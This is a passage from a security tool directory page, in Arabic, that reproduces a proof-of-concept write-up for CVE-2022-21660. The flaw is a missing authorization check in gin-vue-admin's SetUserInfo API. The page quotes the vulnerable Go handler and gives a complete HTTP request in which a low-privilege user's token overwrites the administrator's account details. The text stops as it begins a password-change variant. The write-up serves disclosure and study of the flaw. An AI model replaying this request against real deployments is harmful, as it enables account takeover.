Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Gin-Vue-admin-poc-CVE-2022-21660 — CVE-2022-21660 | Kitploit
أدوات/GitHubGitHub/uzju/gin-vue-admin-poc-cve-2022-21660
المصادقة والترخيصتحليل الثغرات الأمنيةتحليل الكوداستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubuzju/gin-vue-admin-poc-cve-2022-21660

Gin-Vue-admin-poc-CVE-2022-21660

CVE-2022-21660

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
28110منذ 4 سنواتتمت المراجعة من قبل Kitploit

Gin-Vue-admin垂直越权漏洞与代码分析-CVE-2022-21660

١. مقدمة

مرحبًا بجميع الخبراء في إعطاء هذا المشروع نجمة (start).```http https://github.com/flipped-aurora/gin-vue-admin/

![image-20211230151736779](https://assets.kitploit.com/production/public/readmes/21446/71b9c7be5f13561509daa3fc736b2aea1c17b75e10b235f8c2d5f0de659c3c66.png)

بعد كتابة المقال، واجهت بعض الصعوبات في التقدم بطلب للحصول على CVE، لكن لحسن الحظ تم منحها، وكان موظفو GitHub سريعين في الاستجابة.

> ملاحظة: قبل التقدم بطلب CVE، تم تقديم CNVD بالفعل

![image-20220107161655217](https://assets.kitploit.com/production/public/readmes/21446/51ecd3b8efcedb1fecf7b0d8264427765671259fae56a2f5321a4b58767dc74f/c4bc4bc93c1873f0c50d4ca2e7d7c96df00de3fe51f16d3c2f521893ece15b82-display-v1.webp)

### ثانياً، إعداد البيئة

وفقًا للتعليمات الرسمية```bash
git clone https://github.com/flipped-aurora/gin-vue-admin.git

ثم أدخل دليل server```bash go generate

![image-20211230134341075](https://assets.kitploit.com/production/public/readmes/21446/d8f231abdbc0cea6288cbc17eefce6b29afcbfed204604de65a3b8c52ab6ad6e/ec800af00e34f058b162aaad63f41568403c7d3faa454995b819d195dc2e672f-display-v1.webp)```bash
go build -o server main.go 

بعد ذلك، قم بتشغيل الخادم مباشرة

image-20211230134411233

ثم الـ WEB، ادخل إلى مجلد web، وأدخل```bash cnpm install || npm install

بعد ذلك، فقط انتظر

![image-20211230134632959](https://assets.kitploit.com/production/public/readmes/21446/ab6d47376ec0a1654914fab89718b1a9bf93e407e1ab96a3946c2f60a0b12ead/cd7c364c3a31d399033a3d8738976a6e2e3779f0269ee879617df328149e433c-display-v1.webp)



بعد اكتمال التثبيت، سيتم فتح صفحة الويب تلقائيًا

![image-20211230135126848](https://assets.kitploit.com/production/public/readmes/21446/e9f559f44a155a8aa121c39f3b218cac78a01fa26b481cf50e8020ea42529668.png)

![image-20211230135135212](https://assets.kitploit.com/production/public/readmes/21446/fdddc36fb55b29816c3e61125054370b2c799450c04d78a02fac4d33f569948c.png)

بعد ذلك، قم بتهيئة معلومات قاعدة البيانات

![image-20211230135407388](https://assets.kitploit.com/production/public/readmes/21446/13b356986b6faf82ee4208810f4dbf77ba245dc443e13c054f0cafb665c31f8c.png)

بعد التهيئة، انقر على التهيئة ثم سجل الدخول

![image-20211230135437587](https://assets.kitploit.com/production/public/readmes/21446/9864349c21be1c8fa66de709f2e497834cfdf2f3233e286336fa02cdb5834466.png)

### ثالثًا، إعادة إنتاج الثغرة

### يوجد تجاوز صلاحيات عمودي في SetUserInfo

##### 1. تجاوز صلاحية واجهة SetUserInfo لتعيين معلومات المستخدم الشخصية

نذهب مباشرة إلى صفحة إدارة المستخدمين، ونضيف دور مستخدم بصلاحيات منخفضة

![image-20211230143853535](https://assets.kitploit.com/production/public/readmes/21446/acb51bc8ffff26bce3b7cf3956f9b38064871da099e64b3cdb3ab9c531d48da6.png)

يمكن ملاحظة أنه لم يتم منح صلاحيات المدير في الأعلى. بعد ذلك، نقوم بإنشاء حساب جديد وتعيينه لهذه المجموعة الدور

![image-20211230144026344](https://assets.kitploit.com/production/public/readmes/21446/c1e54b0502fe8b4dc83799856b01f4da02cc0f48d0e46fea1b577e050f99f3d2.png)

![image-20211230144005936](https://assets.kitploit.com/production/public/readmes/21446/c407678697464a33e6a879a627eea870a563a5ab0fd4e07b8ab357af4c0f75a9.png)

موقع الثغرة موجود في السطر 273 من الملف https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go

![image-20211230141604735](https://assets.kitploit.com/production/public/readmes/21446/215bb4a987007cdb0a75e36ff67a217fd864a0aa9c53489f08d004f98ae6ac13.png)```go
// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
	var user system.SysUser
	_ = c.ShouldBindJSON(&user)
	if err := utils.Verify(user, utils.IdVerify); err != nil {
		response.FailWithMessage(err.Error(), c)
		return
	}
	if err, ReqUser := userService.SetUserInfo(user); err != nil {
		global.GVA_LOG.Error("设置失败!", zap.Error(err))
		response.FailWithMessage("设置失败", c)
	} else {
		response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
	}
}

هنا لا يوجد التحقق من المعرف (ID) الذي تم تمريره. المعرف يمثل المستخدم، ويمكن تمرير معرف محدد مباشرة لتعديل المعلومات الشخصية للمستخدم المقابل.

image-20211230141732113

أولاً، نستخدم رمز X-token الخاص بالمسؤول لاختبار تعديل اسم المستخدم ذو المعرف 1 إلى test1، وبعد ذلك يمكننا رؤية في الواجهة الخلفية أن معرف المسؤول قد تم تعديله إلى test1.

image-20211230144216099

بعد ذلك، نستخدم رمز (Token) الحساب الذي أنشأناه حديثاً UzJu_HxSecTeam لاستبداله، وتعديل اسم المستخدم المسؤول إلى test2.

أولاً، في معلومات الحساب الشخصي لـ UzJu_HxSecTeam، نذهب إلى تغيير كلمة المرور، ونغير كلمة المرور عشوائياً، ثم نحصل على رمز الحساب.

image-20211230144321622

هذا الرمز (Token) خاص بالدور ذي الصلاحيات المنخفضة، وعادةً لا يمكن للمستخدم ذي الصلاحيات المنخفضة تعديل أي معلومات خاصة بالمسؤول.```http x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs

سنقوم باستبدال Token وبناء بيانات Json التالية```json
{
  "id":1,
  "username":"test2",
  "nickName":"test2",
  "headerImg":""
}

image-20211230144527291

سنقوم باستبدال Token في واجهة setUserinfo```http PUT /api/user/setUserInfo HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs x-user-id: 1 Content-Length: 67 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin

{"id":1, "username":"test2", "nickName":"test2", "headerImg":""}

بعد ذلك، يُعلمنا بأن الإعداد تم بنجاح

![image-20211230144654682](https://assets.kitploit.com/production/public/readmes/21446/78fb75b188079d7168b0de84800ee86520c4487ba9005a80a3b40e1bce1e82c9.png)

هذا هو عندما ننتقل إلى حساب المسؤول ونتحقق مما إذا تم تغييره إلى test2

![image-20211230144727266](https://assets.kitploit.com/production/public/readmes/21446/bfbb0ee0323bae425bcf381e3722f362b794f583cc2d84a12bb5334bfc91a7a3.png)

يمكننا رؤية أن حساب المسؤول قد تم تغييره بنجاح

##### 2. ثغرة رأسية غير مصرح بها في واجهة SetUserInfo لتغيير كلمة مرور المسؤول دون قيد

أثناء التصحيح، تم اكتشاف أنه في واجهة setUserInfo التي تسمح بتعيين المعلومات الشخصية بشكل غير مصرح به، لا يمكن فقط تعيين id وusername وnickname وheadimg، بل يمكن أيضًا تمرير معلمات مثل password
تنزيل الأداة